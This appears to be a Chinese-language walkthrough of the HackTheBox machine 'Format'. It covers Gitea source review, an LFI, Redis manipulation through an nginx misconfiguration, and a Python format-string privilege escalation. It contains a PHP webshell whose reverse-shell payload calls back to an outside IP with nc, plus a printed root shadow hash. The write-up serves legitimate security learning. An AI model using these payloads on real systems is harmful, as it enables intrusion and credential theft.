基本信息
- https://app.hackthebox.com/machines/Format
- 10.10.11.213

端口扫描
22,80,3000:
1 | nmap -sC -sV -Pn 10.10.11.213 |
80
直接ip跳转到app,加hosts,资源会加载主域名的,一起加了:
1 | 10.10.11.213 app.microblog.htb microblog.htb |
是一个Microblog:

3000
gitea 1.17.3:

gitea
gitea直接探索可以看到microblog的代码:

查看代码发现edit/index.php是从id参数获取文件名,写入txt参数提供的内容,看起来可以任意写文件,然后把id参数的内容即文件名追加写入到order.txt中:

然后fetchPage是从order.txt中读取每一行作为文件名,读取内容进行输出,所以这里结合前面的,构成LFI:

MicroBlog
回到blog,注册账号测试创建一个blog,发现是直接分配一个子域名,需要加下hosts:
另外存在自动清理,后续操作要快

LFI
测试,验证存在LFI:

nginx
利用LFI读取nginx配置文件,发现存在配置错误,结合前面的代码里有redis的socket,典型案例:
- Middleware everywhere and lots of misconfigurations to fix | Detectify Labs
https://labs.detectify.com/2021/02/18/middleware-middleware-everywhere-and-lots-of-misconfigurations-to-fix/

根据文章我们是可以利用这个配置问题去操作redis
isPro
回到代码,发现pro用户存在uploads目录,而信息是从redis获取的:


Pro to webshell
所以首先我们去利用nginx的配置问题操作redis,把我们变成pro用户(响应502是正常的,直接回去刷新即可):
1 | curl -X "HSET" http://microblog.htb/static/unix:%2fvar%2frun%2fredis%2fredis.sock:miao%20pro%20true%20a/b |

getshell
然后就可以利用任意写文件,写入webshell到uploads目录中:
1 | id=/var/www/microblog/miao/uploads/miao.php&header=<%3fphp+echo+shell_exec("rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|sh+-i+2>%261|nc+10.10.14.13+4444+>/tmp/f")%3b%3f> |

redis
然后redis中获取信息,得到cooper密码,(shell问题不能交互执行就echo一次执行一条):
1 | redis-cli -s /var/run/redis/redis.sock |

user flag
cooper用户ssh登录,得到user flag:
1 | ssh cooper@10.10.11.213 |

提权信息
lincense看起来是给blog那边的用户生成pro license的:

并且这是一个python程序,可以直接查看代码,根据代码发现我们的用户名被拼接进去,并且后面接的{license.license}
也算给格式化字符串提示了:

而用户名是从redis获取的,如果我们对其进行修改,那就可以利用Python的格式化字符串:
- Python format string vulnerabilities · Podalirius
https://podalirius.net/en/articles/python-format-string-vulnerabilities/
提权 & root flag
通过redis修改用户名,现在ssh连接就可以直接用交互式cli了
小坑,一个用户短时间内只能生成一次license,多次执行要等一会儿或者新建用户
1 | redis-cli -s /var/run/redis/redis.sock |


root flag
得到的密码就是root密码,直接切过去:
1 | su - |

shadow
1 | root:$y$j9T$tYoCSn/hikACa4FLjkFxx/$vg7mvtDQNyfOazsy/RpEgxOzAzSktNbOiJWZkTr9ynD:19443:0:99999:7::: |
参考资料
- Middleware everywhere and lots of misconfigurations to fix | Detectify Labs
https://labs.detectify.com/2021/02/18/middleware-middleware-everywhere-and-lots-of-misconfigurations-to-fix/ - Python format string vulnerabilities · Podalirius
https://podalirius.net/en/articles/python-format-string-vulnerabilities/